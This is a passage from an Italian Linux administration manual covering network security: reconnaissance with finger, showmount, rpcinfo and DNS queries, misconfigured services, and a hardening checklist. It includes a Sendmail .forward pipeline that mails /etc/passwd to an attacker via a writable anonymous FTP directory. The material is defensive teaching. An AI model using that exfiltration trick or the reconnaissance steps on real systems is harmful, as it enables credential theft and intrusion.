firewall della rete dell esempio precedente, potrebbe essere più interessante sapere qual è il traffico che transita effettivamente verso l esterno o dall esterno. Se si usassero le regole viste nell esempio precedente, verrebbe considerato anche il traffico locale intrattenuto con tale elaboratore. /sbin/ipfwadm -A out -a -S /24 -W eth1 /sbin/ipfwadm -A in -a -D /24 -W eth1 Questo esempio inverte la direzione in / out, proprio per misurare il traffico uscente (verso l esterno) che proviene dalla rete locale e quello entrante (dall esterno) che sia diretto verso la

34 2018 Kernel Linux 2.0: firewall e mascheramento IP rete locale. Tuttavia, per fare in modo che funzioni correttamente, è stato necessario specificare anche l interfaccia a cui fare riferimento. Infine, è possibile misurare anche il traffico sulle porte. L esempio seguente cerca di misurare il traffico TCP complessivo verso l indirizzo (corrispondente al nodo locale), per la porta 8080 (cache proxy). /sbin/ipfwadm -A both -a -P tcp -D Il risultato di questa regola potrebbe essere il seguente: IP accounting rules pkts bytes dir prot source destination ports i/o tcp anywhere any -> Riferimenti Terry Dawson, Linux NET-3-HOWTO, Linux Networking < Mark Grennan, Firewalling and Proxy Server HOWTO < Ambrose Au, Linux IP Masquerade mini HOWTO < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

35 Parte xxxv Sicurezza e controllo 182 Introduzione ai problemi di sicurezza con la rete Problemi legali Informazioni: la prima debolezza Errori comuni di configurazione Servizi e programmi pericolosi per loro natura Fiducia e interdipendenza tra i sistemi Backdoor: cosa ci si può attendere da un sistema compromesso Regole dettate dal buon senso Lista di spunta Riferimenti Virus, vermi e cavalli di Troia Classificazione Fidarsi o non fidarsi Programmi imprevisti Limitare la diffusione di un virus Bliss Riferimenti Filtri di accesso standard Configurazione di Login Protocollo IDENT Avvio del demone Interrogazione del servizio e librerie TCP wrapper più in dettaglio Limiti e particolarità del TCP wrapper Configurazione del TCP wrapper Verifica della configurazione Verifica delle corrispondenze Un Finger speciale Verifica della propria identificazione Cambiare directory radice Principio di funzionamento Possibilità di questo meccanismo Un esempio pratico: TELNET

36 188 Verifica dell integrità dei file Tripwire AIDE Verifica della vulnerabilità della propria rete Queso Raccess SATAN o SANTA Strumenti per il controllo e l analisi del traffico IP Netstat Tcpdump IPTraf Sniffit Ethereal IPlogger Netcat Misure di sicurezza per l elaboratore personale senza rete Avvio e riavvio Protezione del terminale e della console Protezione del lavoro con X

37 Capitolo 182 Introduzione ai problemi di sicurezza con la rete Quando un sistema è collegato a una rete di grandi dimensioni (o direttamente a Internet) per la maggior parte del tempo, è soggetto ad aggressioni di ogni tipo. Chi amministra sistemi del genere ha il suo bel da fare a cercare di impedire l accesso da parte di estranei non autorizzati, anche se spesso si ignora candidamente il problema. Il problema della sicurezza dei sistemi in rete non ha una soluzione definitiva, ma solo delle regole indicative. Alle volte è sufficiente ignorare una carenza della versione particolare di un servizio che funziona presso un elaboratore, per lasciare una botola aperta a disposizione di qualcuno che ne conosce il trucco. Si potrebbe discutere sulle qualità morali di chi passa il proprio tempo a studiare il modo migliore per danneggiare il suo prossimo, ma questo non serve poi a risolvere il problema. Questo capitolo ha il solo scopo di introdurre il problema, mostrando anche qualche esempio di quali possano essere i punti deboli di un elaboratore collegato in rete. Non è intenzione dell autore (che comunque non ne sarebbe in grado, data la sua scarsa preparazione) l incoraggiare i lettori verso attività scorrette o illegali nei confronti di chiunque Problemi legali Nel momento in cui si piazza in rete un proprio elaboratore, rendendolo accessibile al pubblico, si assumono delle responsabilità. In particolare, a proposito del problema della sicurezza, altri sistemi potrebbero risultare danneggiati da un attacco condotto con successo ai danni del proprio. Quindi, la cosa non può essere ignorata, anche quando per se stessi potrebbe non essere importante. Quando un sistema viene attaccato e l aggressore riesce nel suo intendo, non si può dire a cosa gli servirà, ma si possono immaginare quante cose terribili potrebbero essere ottenute a nome di quell elaboratore e quindi del suo amministratore. Giusto a titolo di esempio, si può considerare che questo potrebbe servire: a inviare messaggi non desiderabili (spam); a ottenere accesso alle informazioni contenute nell elaboratore; a modificarle per qualche fine; ad annusare la rete circostante alla ricerca di informazioni utili ad accedere agli elaboratori che si trovano in prossimità di quello già compromesso; oppure, più in generale, a coprire altre azioni di attacco verso altri sistemi estranei, usando il primo come copertura. Con questo scenario, si comprende che la cosa più grave che deriva da un sistema compromesso è il rischio per il suo amministratore di essere coinvolto nell attività illegale di qualcun altro. Pertanto, quando ci si dovesse accorgere di questo, se possibile, sarebbe opportuno staccare fisicamente tale elaboratore dalla rete, avvisare le altre persone coinvolte nell amministrazione degli elaboratori della stessa rete locale (o che comunque hanno una qualche relazione con quello compromesso), tenere traccia in un registro fisico dell accaduto e delle misure prese come conseguenza. La necessità di annotare l accaduto e le operazioni compiute deriva dalla possibilità di essere coinvolti in un procedimento giudiziario da parte di chi dovesse essere stato danneggiato dall attività di questo ignoto. Nello stesso modo in cui si può essere accusati ingiustamente di attività criminali compiute da altri, si rischia di accusare degli innocenti quando si cerca di determinare l origine di un attacco. 2021

38 2022 Introduzione ai problemi di sicurezza con la rete È importante tenere conto che se il sistema è stato compromesso, anche i file delle registrazioni possono esserlo, ma comunque, l attacco potrebbe essere giunto attraverso un sistema già compromesso in precedenza, all insaputa del suo amministratore Informazioni: la prima debolezza I servizi offerti da un sistema connesso in rete offrono una serie di informazioni, necessarie a compiere tali servizi. Queste informazioni sono la base di partenza di qualunque possibile attacco. Per comprendere l importanza di ciò, occorre tentare di ragionare nello stesso modo dell ipotetico aggressore. La conseguenza normale della presa di coscienza di questo lato del problema è la tendenza alla riduzione dei servizi, in modo da limitare le notizie disponibili all esterno. Gli esempi che vengono mostrati, possono essere usati tranquillamente contro macchine di cui si ha l amministrazione (e quindi la responsabilità). Se però si tenta di scoprire le debolezze di qualche altro sistema, anche se si crede di agire in buona fede, questo comportamento può essere individuato e considerato un tentativo di attacco reale Finger Il protocollo Finger è la fonte primaria di informazioni per chi vuole tentare un attacco a un sistema, per cui va valutata la possibilità di escludere tale servizio dalla rete (il demone fingerd ). Finger permette di conoscere chi è connesso al sistema e cosa sta facendo. bruto@krampus:~$ Invio ] [vittima.brot.dg] Welcome to Linux version at vittima.brot.dg! 12:07pm up 4:22, 1 users, load average: 0.00, 0.00, 0.00 Login Name Tty Idle Login Time Office Office Phone daniele *6 4:21 Sep 30 07:45 Già questo permette di sapere il tipo di kernel utilizzato e le informazioni uptime (evidentemente l elaboratore della vittima ha avviato il demone fingerd con l opzione -w ). Inoltre, in questo caso appare un solo utente connesso che sta svolgendo un lavoro con un programma da ben 4 ore e 21 minuti, senza osservare il sistema in alcun modo. L informazione sull utilizzo del sistema è importante per l aggressore, che può determinare quando agire in modo da non essere scoperto. L aggressore potrebbe poi tentare un interrogazione dell elenco degli utenti, utilizzando l esperienza delle consuetudini comuni. Così facendo potrebbe scoprire un utente di sistema mal configurato, per esempio nobody, oppure un utente di prova lasciato lì, o comunque un utenza inutilizzata per qualche motivo. bruto@krampus:~$ finger [email protected] Login: root Name: root Directory: /root Shell: /bin/bash Last login Thu Sep 30 8:34 (CEST) on ttyp1

39 Introduzione ai problemi di sicurezza con la rete from dinkel.brot.dg in-addr.arpa Tanto per cominciare, in questo esempio si vede che l utente root può accedere da un elaboratore della rete locale, riconoscendone così la presenza e il nome: dinkel.brot.dg. bruto@krampus:~$ finger [email protected] Login: nobody Directory: /tmp Never logged in.... Name: Nobody Shell: /bin/sh In questo caso, si nota che l utente nobody è stato configurato male. infatti, la directory personale di questo utente di sistema, dal momento che esiste una shell presumibilmente valida, non può essere /tmp/. Chiunque possa avere accesso a tale directory, cioè ogni utente, potrebbe inserirvi dei file di configurazione allo scopo di abilitare una connessione esterna senza la richiesta di una parola d ordine (verrà descritto più avanti l uso possibile di file come.rhosts e.shosts ). bruto@krampus:~$ finger [email protected] Login: pippo Name: (null) Directory: /home/pippo Shell: /bin/bash Last login Thu Jan 1 10:18 (CET) on tty2 La scoperta di un utente che non accede da molto tempo, permette all aggressore di concentrare la sua attenzione su questo per tentare di impadronirsene. Di solito si tratta di utenti creati solo per fare qualche prova ( pippo, prova, guest, backdoor, ecc.), lasciati lì e dimenticati. Niente di meglio quindi, considerato che spesso questi hanno delle parole d ordine banali e individuabili facilmente NFS La condivisione del file system attraverso il protocollo NFS può essere verificata facilmente attraverso un comando come showmount. La conoscenza delle porzioni condivise del file system aggiunge un tassello in più alle informazioni che può raccogliere l ipotetico aggressore. bruto@krampus:~$ /usr/sbin/showmount -e vittima.brot.dg Export list for vittima.brot.dg: / *.brot.dg,*.mehl.dg,*.plip.dg /tftpboot *.brot.dg,*.mehl.dg,*.plip.dg /home *.brot.dg,*.mehl.dg,*.plip.dg /mnt *.brot.dg,*.mehl.dg,*.plip.dg /opt *.brot.dg,*.mehl.dg,*.plip.dg /usr *.brot.dg,*.mehl.dg,*.plip.dg Per quanto riguarda questo servizio, l amministratore di vittima.brot.dg è stato abbastanza accurato, tranne per il fatto di avere concesso l esportazione della directory radice per intero. Il fatto di avere limitato l accessibilità a domini determinati (presumibilmente componenti la rete locale su cui è inserito tale elaboratore) non è una garanzia sufficiente. Chi dovesse riuscire a ottenere un accesso presso una macchina di questa rete, potrebbe sfruttare l occasione. È importante ribadire la pericolosità dell esportazione di una directory radice. Se un ipotetico aggressore dovesse conoscere un difetto del servente NFS che gli potesse permettere di accedere, anche se formalmente non ne risulta autorizzato, il danno sarebbe enorme.

40 2024 Introduzione ai problemi di sicurezza con la rete Si osservi l esportazione della directory /home/ ; di sicuro viene concessa anche la scrittura. Se l ipotetico aggressore fosse in grado di montare questa directory nel suo sistema, gli sarebbe facile inserire file di configurazione come.rhosts ( rsh ) e.shosts ( ssh ), per autorizzarsi l accesso in qualità di quell utente (anche senza l utilizzo di alcuna parola d ordine). Da quanto affermato, è importante osservare che sarebbe meglio esportare directory in lettura e scrittura solo a clienti indicati in modo preciso, evitando di consentire l accesso in questo modo a tutta una rete o sottorete. In tutti gli altri casi, dove possibile, sarebbe meglio esportare solo in lettura Servizi RPC Un altra fonte di informazioni molto importante è data dai servizi RPC, attraverso il Portmapper. Basta usare rpcinfo per sapere quali servizi RPC sono offerti da un certo servente. Si osservi l esempio seguente: bruto@krampus:~$ rpcinfo -p vittima.brot.dg program vers proto port tcp 111 rpcbind udp 111 rpcbind udp 635 mountd udp 635 mountd tcp 635 mountd tcp 635 mountd udp 2049 nfs tcp 2049 nfs In questo caso non c è molto da sfruttare. In pratica è disponibile solo il servizio NFS. Però, in altre situazioni si può scoprire la presenza di NIS (YP) o di altri servizi più insidiosi DNS Il servizio DNS permette di fornire molte informazioni, spesso inutili. Sarebbe il caso di limitarsi alla configurazione necessaria alla risoluzione corretta dei nomi e degli indirizzi, senza aggiungere altre notizie. Per ottenere tutte le informazioni offerte da un servente DNS determinato, si può usare nslookup con l opzione -q=any. L esempio seguente verifica le informazioni riferite al dominio unipg.it; come si può vedere dal risultato non ci sono informazioni superflue. $ nslookup -q=any unipg.it[ Invio ] unipg.it origin = teseo.unipg.it mail addr = postmaster.unipg.it serial = refresh = retry = 1800 expire = minimum = unipg.it mail exchanger = 10 egeo.unipg.it. Name: unipg.it Address: unipg.it nameserver = dns2.nic.it. unipg.it nameserver = teseo.unipg.it. unipg.it nameserver = dedalo.unipg.it.

41 Introduzione ai problemi di sicurezza con la rete 2025 unipg.it nameserver = giannutri.caspur.it. Authoritative answers can be found from: unipg.it nameserver = dns2.nic.it. unipg.it nameserver = teseo.unipg.it. unipg.it nameserver = dedalo.unipg.it. unipg.it nameserver = giannutri.caspur.it. egeo.unipg.it internet address = dns2.nic.it internet address = teseo.unipg.it internet address = dedalo.unipg.it internet address = giannutri.caspur.it internet address = Per questo si può usare anche host con l opzione -a, benché i risultati siano leggermente diversi: $ host -a unipg.it[ Invio ] unipg.it SOA teseo.unipg.it postmaster.unipg.it ( ;serial (version) ;refresh period (1 day) 1800 ;retry interval (30 minutes) ;expire time (1 week) ;default ttl (1 day) ) unipg.it MX 10 egeo.unipg.it unipg.it A unipg.it NS dns2.nic.it unipg.it NS teseo.unipg.it unipg.it NS dedalo.unipg.it unipg.it NS giannutri.caspur.it Infine, anche dig con l argomento ANY : $ dig ANY unipg.it[ Invio ] ; <<>> DiG <<>> ANY unipg.it ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: ;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 4, ADDITIONAL: 5 ;; QUESTION SECTION: ;unipg.it. IN ANY ;; ANSWER SECTION: unipg.it IN SOA teseo.unipg.it. postmaster.unipg.it unipg.it IN MX 10 egeo.unipg.it. unipg.it IN A unipg.it IN NS dns2.nic.it. unipg.it IN NS teseo.unipg.it. unipg.it IN NS dedalo.unipg.it. unipg.it IN NS giannutri.caspur.it. ;; AUTHORITY SECTION: unipg.it IN NS dns2.nic.it. unipg.it IN NS teseo.unipg.it. unipg.it IN NS dedalo.unipg.it. unipg.it IN NS giannutri.caspur.it. ;; ADDITIONAL SECTION: egeo.unipg.it IN A dns2.nic.it IN A teseo.unipg.it IN A dedalo.unipg.it IN A giannutri.caspur.it IN A

42 2026 Introduzione ai problemi di sicurezza con la rete ;; Query time: 2 msec ;; SERVER: #53( ) ;; WHEN: Fri Oct 18 09:50: ;; MSG SIZE rcvd: Errori comuni di configurazione Gli errori di configurazione dei servizi sono il metodo più comune attraverso cui si consente l aggressione del proprio sistema. In questo caso, non ci sono sistemi sicuri che tengano, a meno che il servizio stesso sia stato predisposto per impedire delle «castronerie» FTP anonimo Il servizio FTP anonimo si basa sulla definizione di un utente di sistema, ftp e della relativa directory personale (home), ~ftp/. L utente che accede in modo normale vede un file system ridotto, dove la radice corrisponde alla directory ~ftp/. All interno di questo piccolo mondo ci sono solitamente dei programmi di servizio, delle librerie e dei file di configurazione, tra cui in particolare anche il file ~ftp/etc/passwd. Questo file non deve essere la copia di /etc/passwd, altrimenti si rischierebbe di mettere in condizione l utente anonimo di leggere le parole d ordine cifrate: un aggressore sarebbe in grado di scoprire le parole d ordine reali degli utenti. A dire il vero, questa directory ~ftp/etc/ dovrebbe impedire la lettura del suo contenuto ( ), ma ciò serve solo a non fare conoscere quali file sono contenuti, mentre tutti sanno che c è comunque il file ~ftp/etc/passwd. Inoltre, il fatto di lasciare il permesso di scrittura alla directory ~ftp/ può essere altrettanto insidioso. Un utente anonimo potrebbe mettere lì un file.forward creato appositamente per i suoi scopi. Nell esempio seguente si mostra in che modo sia possibile per un aggressore il farsi spedire via posta elettronica il contenuto del file /etc/passwd reale del sistema L aggressore potrebbe creare un file per il forward (il proseguimento dei messaggi) contenente un comando, cosa consentita da Sendmail. In pratica, si potrebbe trattare del contenuto seguente: " /bin/mail [email protected] < /etc/passwd" Come si vede, si tratta di una pipeline con cui si avvia mail per inviare il file /etc/ passwd all indirizzo [email protected]. 2. Questo file dovrebbe essere inviato nella directory principale del servizio FTP della vittima, nominandolo.forward, nell ipotesi che quella directory risulti scrivibile. 3. Da quel momento, è sufficiente inviare un messaggio di posta elettronica qualunque all indirizzo [email protected] perché [email protected] riceva quel file delle parole d ordine. In questo caso, è molto probabile che per l aggressore non sia poi tanto facile cancellare le tracce lasciate (cosa senza dubbio positiva). Tuttavia questa è la dimostrazione di cosa può fare una configurazione errata di tale servizio. 1 L idea è tratta da Improving the security of your site by breaking into it, di Dan Farmer e Wietse Venema.

43 Introduzione ai problemi di sicurezza con la rete Accesso remoto Il servizio offerto dai demoni rlogind e rshd è pericoloso per la sua sola presenza, in quanto un aggressore potrebbe utilizzare un difetto in un altro servizio per configurare con successo un proprio accesso utilizzando un utente già esistente. Oltre a questo, una configurazione errata potrebbe consentire un accesso indiscriminato. La configurazione avviene attraverso due file possibili: /etc/hosts.equiv e ~/.rhosts (il secondo deve risiedere nella directory personale degli utenti che ne vogliono usufruire). Finché in questi file appaiono solo nomi di nodi a cui viene concesso di accedere, i pericoli sono limitati (si fa per dire): ogni utente accede al servente senza l indicazione della parola d ordine, ma è almeno costretto a utilizzare lo stesso nominativo-utente. Se però si aggiungono anche i nomi di utenti che possono accedere dall esterno, se questo viene fatto nel file /etc/ hosts.equiv, si concede loro di assumere la personalità di qualunque altro utente di quel sistema, eccetto (normalmente) l utente root. dinkel.brot.dg roggen.brot.dg dinkel.brot.dg tizio dinkel.brot.dg caio Se quello che si vede è il contenuto del file /etc/hosts.equiv, gli utenti tizio e caio del cliente dinkel.brot.dg possono accedere come gli pare. tizio@dinkel:~$ rsh -l pippo vittima.brot.dg... L esempio mostra l utente tizio che accede all elaboratore vittima.brot.dg, utilizzando lì il nominativo-utente pippo, senza dover indicare alcuna parola d ordine. Questi file non prevedono l indicazione di commenti. Se viene utilizzato il simbolo #, può sembrare che questo funzioni regolarmente come un commento, però, se a un aggressore fosse possibile introdurre nel sistema DNS un nodo denominato proprio «#», facendo in modo che corrisponda a un suo indirizzo IP di comodo, ecco che quel commento servirebbe solo ad aggiungere un nuovo accesso senza parola d ordine Servizi e programmi pericolosi per loro natura Alcuni servizi e alcuni programmi sono pericolosi per loro natura. Se devono essere utilizzati è necessario che ciò avvenga su macchine di una rete locale ben protetta dalla rete esterna Trivial FTP Il protocollo TFTP viene usato normalmente per consentire ai sistemi senza disco (diskless) di avviarsi. Per questo, normalmente, viene permesso l accesso alla directory /tftpboot/ nel servente, all interno della quale si articolano le varie directory specifiche di ogni cliente che deve potersi connettere. Tra queste directory c è sicuramente /tftpboot/indirizzo_ip/etc/, contenente la configurazione particolare di un certo cliente. È chiaro che un aggressore potrebbe avere accesso facilmente a tale file, con il quale poi tentare di decifrare le parole d ordine degli utenti di quel sistema senza disco. Il problema diventa più grave quando i file passwd e group sono comuni a tutti i clienti, al limite anche al servente stesso. Infatti, spesso, per semplificare le cose, si utilizzano dei collegamenti fisici per questo scopo.

44 2028 Introduzione ai problemi di sicurezza con la rete Ancora più grave diventa il problema se il servizio è configurato in modo da consentire l accesso a partire dalla directory radice del servente, cosa che si ottiene con la riga seguente nel file /etc/ inetd.conf. tftp dgram udp wait root /usr/sbin/tcpd in.tftpd / NIS La presenza di un servizio NIS viene scoperta facilmente attraverso un interrogazione RPC, con il comando rpcinfo -p. L unica «difesa» che ha il servizio NIS è quella di utilizzare un dominio NIS non intuibile; diversamente, chiunque ne sia a conoscenza può utilizzare il servizio. Generalmente, il NIS utilizzato con i sistemi GNU, include il TCP wrapper, riconoscendo così i file /etc/hosts.allow e /etc/hosts.deny, cosa che dovrebbe limitare tale problema di accessibilità. Tuttavia, non bisogna dimenticare che i pericoli si corrono anche all interno della propria rete locale, quella per la quale si concede normalmente l utilizzo del servizio. A parte queste considerazioni, il tipo di NIS che si utilizza normalmente fa viaggiare nella rete tutte le informazioni che amministra, comprese le parole d ordine cifrate degli utenti. Un aggressore che avesse modo di analizzare la rete su cui viaggiano questi dati, potrebbe trarne vantaggio. Un altra cosa da considerare è che le informazioni amministrate dal NIS vengono collocate nella directory /var/yp/dominio_nis /. Se un aggressore dovesse riuscire a leggere tali directory, verrebbe immediatamente a conoscenza del nome del dominio NIS; poi, analizzando il contenuto dei vari file, potrebbe estrarre tutte le informazioni che gli servono sugli utenti. Quello che si vuole esprimere con questo è che non deve sfuggire l esportazione della directory /var/ attraverso il servizio NFS, perché sarebbe come esportare la directory /etc/ stessa X Il sistema grafico X è in grado di connettere i dispositivi che compongono la stazione grafica (tastiera, mouse e schermo) attraverso la rete. Questo si traduce nella possibilità per gli utenti di avviare un programma in un elaboratore diverso dal proprio e di gestirne il funzionamento attraverso il proprio schermo grafico. Evidentemente, questo significa che vengono fatte viaggiare attraverso la rete informazioni potenzialmente delicate, esattamente come se si usasse una shell remota non cifrata. In generale, sarebbe opportuno impedire qualunque interazione tra gli elaboratori per ciò che riguarda X. Inoltre, bisognerebbe vietarne l utilizzo incontrollato, impedendo il transito di questo protocollo attraverso i router Sendmail Sendmail è considerato generalmente un servente SMTP fragile dal punto di vista della sicurezza. Sendmail è stato progettato originalmente con una filosofia di massima prestazione e configurabilità, trascurando aspetti della sicurezza che si sono presentati con il tempo. Uno dei maggiori problemi di Sendmail è legato alla possibilità di avere un destinatario rappresentato da un file o da una pipeline. Questo può essere utile nel file /etc/aliases o nel file ~/.forward di ogni utente, per creare un archivio di messaggi, per gestire una lista di posta elettronica, o per filtrare i messaggi attraverso programmi specifici. È già stato descritto come potrebbe essere sfruttato il file ~/.forward da parte di un aggressore che sia in grado di creare o di aprire questo file in scrittura nella directory di un utente: inviando

45 Introduzione ai problemi di sicurezza con la rete 2029 un messaggio all indirizzo di quell utente potrebbe ottenere l avvio di un comando definito in una pipeline. In passato, si sono evidenziate diverse tecniche che sfruttavano questo meccanismo, magari semplicemente mettendo dei comandi al posto dei destinatari dei messaggi. Attualmente questi problemi sono conosciuti e le versioni più recenti di Sendmail non dovrebbero consentire più questi trucchi. Fidarsi è bene,... ma in generale Sendmail è classificabile come un programma potenzialmente pericoloso. A quanto affermato si aggiunga l estrema difficoltà nella sua configurazione, cosa che costringe generalmente a mantenere ciò che è stato definito da altri. Un errore in questa configurazione, fatto da chiunque, potrebbe permette a qualcuno di sfruttare Sendmail per scopi indesiderabili, al limite solo per la diffusione di spam Linuxconf Recentemente è apparso un pacchetto specifico per i sistemi GNU/Linux, il cui scopo è quello di facilitare e centralizzare la configurazione dei vari sistemi. Si tratta di Linuxconf. A parte ogni considerazione sulla validità di questo strumento, dal momento che si tratta di qualcosa di nuovo, è ancora tutta da verificare la sua affidabilità nei confronti della sicurezza. Un aggressore ben preparato potrebbe sfruttare questo protocollo per cambiare la configurazione della sua vittima, in modo da garantirsi un accesso. Di solito, Linuxconf viene controllato dal supervisore dei servizi di rete; nel caso di Inetd, conviene commentare la riga seguente nel file /etc/inetd.conf e fare a meno di installare il pacchetto. #linuxconf stream tcp wait root /bin/linuxconf linuxconf --http Fiducia e interdipendenza tra i sistemi Lo studio sui problemi di sicurezza riferiti a un nodo particolare, non può limitarsi all ambito di quell elaboratore; deve includere anche l ambiente circostante, ovvero gli altri elaboratori dai quali può dipendere per determinati servizi, oppure dai quali può accettare accessi senza autenticazione. L aggressione a uno di questi sistemi pregiudica conseguentemente tutti quelli che ne dipendono Fiducia incondizionata Si può parlare di «fiducia incondizionata» quando si concede ad altri elaboratori l accesso, o l utilizzo di determinati servizi, senza alcuna forma di controllo che non sia la pura determinazione del nome di questi (il nome di dominio) o del numero IP, mentre in condizioni normali sarebbe necessaria almeno l indicazione di una parola d ordine. Il caso limite di fiducia incondizionata è dato dalla configurazione dei servizi di accesso remoto tramite rlogin o rsh, in modo tale da non richiedere alcuna parola d ordine. Nello stesso modo va visto il servizio NFS e la concentrazione amministrativa del NIS. Quando la fiducia si basa sul semplice riconoscimento del nome del cliente, il punto debole di questo rapporto sta nella gestione dei servizi che si occupano di risolvere questi nomi in indirizzi IP: DNS o NIS. L aggressore che dovesse essere in grado di prendere il controllo dei sistemi che si occupano di questi servizi, avrebbe la possibilità di modificarli per i suoi scopi. La cosa diventa

46 2030 Introduzione ai problemi di sicurezza con la rete ancora più grave quando la gestione di questi servizi (DNS) è esterna all ambiente controllato dall amministratore che utilizza tale sistema di fiducia. Eventualmente, i rapporti di fiducia possono essere basati, piuttosto che sui nomi, sugli indirizzi IP. Ciò servirebbe a ridurre i rischi, ma non a sufficienza: se il transito (il routing) non è completamente sotto controllo, qualcuno potrebbe dirottare gli instradamenti a proprio vantaggio Chiavi di identificazione Per ridurre i rischi dovuti all uso della fiducia incondizionata, si possono proteggere alcuni servizi attraverso chiavi di riconoscimento (come nel caso dei protocolli SSL/TLS e SECSH), con cui il servente può identificare il cliente, mentre lo stesso cliente può verificare che il servente sia effettivamente la macchina che si intende contattare. Il meccanismo si basa sulla definizione di una coppia di chiavi: la chiave privata e la chiave pubblica. L elaboratore «A» crea una coppia di chiavi che userà per certificare la propria identità: la chiave privata non viene divulgata e gli servirà per generare di volta in volta la prova della propria identità, la chiave pubblica viene fornita a tutti gli altri elaboratori che hanno la necessità di verificare l identità di «A». Quando due elaboratori vogliono potersi identificare a vicenda, entrambi devono essersi scambiati la chiave pubblica rispettiva Cifratura delle comunicazioni Quando esiste un reticolo di fiducia reciproca tra diversi nodi, anche se questi possono avere un sistema sicuro di identificazione, resta il problema del transito dei dati lungo la rete, che potrebbero essere intercettati da un aggressore. Infatti, non bisogna trascurare la possibilità che qualcuno riesca a introdursi fisicamente nella rete locale (anche se apparentemente sicura), introducendo un piccolo elaboratore, nascosto opportunamente, con lo scopo di registrare tutte le transazioni, da cui trarre poi informazioni importanti (quali per esempio le parole d ordine utilizzate per l accesso remoto). A questo si può porre rimedio solo con un buon sistema di cifratura, come avviene attraverso il protocollo SECSH. Tuttavia, il problema rimane per tutti quei servizi per i quali non è prevista tale possibilità Backdoor: cosa ci si può attendere da un sistema compromesso Le porte posteriori, o le botole, o backdoor, sono delle anomalie «naturali», o create ad arte, per permettere a qualcuno di accedere o utilizzare servizi in modo riservato. In pratica, è l equivalente di un passaggio segreto, sconosciuto al proprietario del castello, attraverso il quale altri possono entrare quando vogliono senza essere notati. Un aggressore che sia riuscito ad accedere in qualche modo a un sistema, potrebbe prendersi la briga di consolidare la posizione raggiunta ritoccando la configurazione o sostituendo gli eseguibili di alcuni servizi, allo scopo di garantirsi un accesso privilegiato, possibilmente invisibile attraverso i mezzi normali. Attraverso Internet è possibile procurarsi pacchetti di programmi modificati ad arte per ottenere tali scopi. Quindi, il problema è più serio di quanto si possa immaginare a prima vista.

47 Introduzione ai problemi di sicurezza con la rete Regole dettate dal buon senso La soluzione assoluta che garantisca la sicurezza dei sistemi connessi in rete non esiste. Tuttavia si possono tenere a mente alcune regole elementari, dettate dal buon senso. L elenco di suggerimenti che appare di seguito, è ispirato in modo particolare da Improving the Security of your site by breaking into it di Dan Farmer e Wietse Venema. Sarebbe bene escludere il servizio Finger. Se ciò non fosse possibile, sarebbe almeno il caso di utilizzarne una versione modificata che non fornisca informazioni troppo delicate come la directory personale e l origine dell ultimo accesso. Non si deve usare il NIS, a meno che ciò sia assolutamente necessario. Si deve usare il servizio NFS il meno possibile. Se viene attivato il servizio NFS, non devono essere esportate directory in modo incondizionato a qualunque nodo (attualmente, i serventi NFS nei sistemi GNU/Linux non lo consentono in ogni caso). Inoltre, è bene cercare almeno di limitare l esportazione alla sola lettura. Non si deve esportare assolutamente la directory radice. Evitare di fornire servizi attraverso programmi ben conosciuti per i loro problemi di sicurezza. Sendmail è un esempio tipico di un tale programma così pericoloso. Occorre porre un attenzione particolare alla protezione dei serventi che offrono servizi delicati come DNS, NFS, NIS e altro. Su queste macchine sarebbe opportuno fossero ammessi ad accedere solo utenti che hanno un ruolo amministrativo. È necessario esaminare attentamente i servizi offerti, spesso in modo predefinito, attraverso l analisi del file /etc/inetd.conf, l interrogazione delle RPC (il Portmapper) e l elenco dei processi (alcuni servizi potrebbero essere indipendenti sia dal supervisore dei servizi di rete che dal sistema delle RPC). È importante che siano attivi solo i servizi necessari. Quando possibile è opportuno utilizzare l avvio dei servizi attraverso il controllo del supervisore dei servizi di rete e del TCP wrapper. Quando non si intende fornire un servizio, conviene almeno monitorarne le richieste attraverso l ausilio del TCP wrapper (questo particolare verrà chiarito nel capitolo 186). Ridurre o eliminare del tutto la «fiducia» basata esclusivamente sul nome del cliente. Utilizzare password shadow e un comando passwd che non consenta l utilizzo di parole d ordine troppo semplici (generalmente è già così nella maggior parte delle distribuzioni GNU/Linux). Fare a meno di gestire gruppi di lavoro abbinati a parole d ordine: una parola d ordine di gruppo è un segreto senza valore. Disabilitare gli utenti di sistema ( bin, daemon, ecc.); disabilitare o eliminare gli utenti comuni che non abbiano utilizzato il sistema da tanto tempo (una gestione corretta delle password shadow può automatizzare questo meccanismo. Leggere la documentazione disponibile riferita al problema della sicurezza e tenersi aggiornati il più possibile, anche iscrivendosi ai gruppi di discussione che trattano l argomento.

48 2032 Introduzione ai problemi di sicurezza con la rete Installare gli aggiornamenti riferiti alla sicurezza il più presto possibile. Scandire regolarmente il file system alla ricerca di alterazioni nei file. Per questo si utilizzano programmi come AIDE e Tripwire Lista di spunta Oltre che tenere a mente le regole dettate dal buon senso per cercare di evitare problemi nella sicurezza dei sistemi amministrati, si potrebbe pensare alla definizione di un comportamento standard, verificabile attraverso una lista di spunta, come si fa di solito nei paesi di lingua inglese (checklist). Nel documento Improving the security of your UNIX system, viene proposta un appendice con un esempio di una tale lista, a cui si ispira quella seguente. È chiaro che ogni amministratore deve decidere la propria strategia, in funzione delle esigenze e della sua personale propensione al rischio. Con l esempio seguente, si vuole solo invitare a predisporre la propria lista di spunta personale. Sicurezza delle utenze Definizione delle regole imposte agli utenti riferite alle parole d ordine. Verifica delle parole d ordine rispetto a scelte ovvie. Definizione della scadenza di ogni utenza. Eliminazione di utenti generici (come il tipico utente guest ). Verifica che tutti gli utenti abbiano una parola d ordine, oppure che queste siano disabilitate attraverso un asterisco nel campo corrispondente. Verifica che tutti gli utenti di sistema non possano essere utilizzati per accedere, a causa della presenza di un asterisco nel campo della parola d ordine. Eliminazione delle utenze di gruppo. Sicurezza della rete Eliminazione del file /etc/hosts.equiv. Eliminazione dei file ~/.rhosts di ogni utente. Verifica che il file /etc/securetty contenga solo dispositivi di console. Verifica che l esportazione NFS sia consentita solo a nodi indicati in modo preciso, possibilmente per numero IP. Verifica dell esportazione NFS minima indispensabile. Verifica della versione di Sendmail. Eliminazione del servizio Finger se non è indispensabile. Verifica del corretto funzionamento del sistema di aggancio nelle connessioni seriali (non devono rimanere aperte le connessioni). Impedire il transito del protocollo del sistema grafico X attraverso i router. Impedire i forward di X attraverso il protocollo SECSH. Sicurezza del file system Eliminazione dei bit SUID e SGID negli script di shell (anche se questo non dovrebbe causare problemi con i sistemi GNU/Linux).

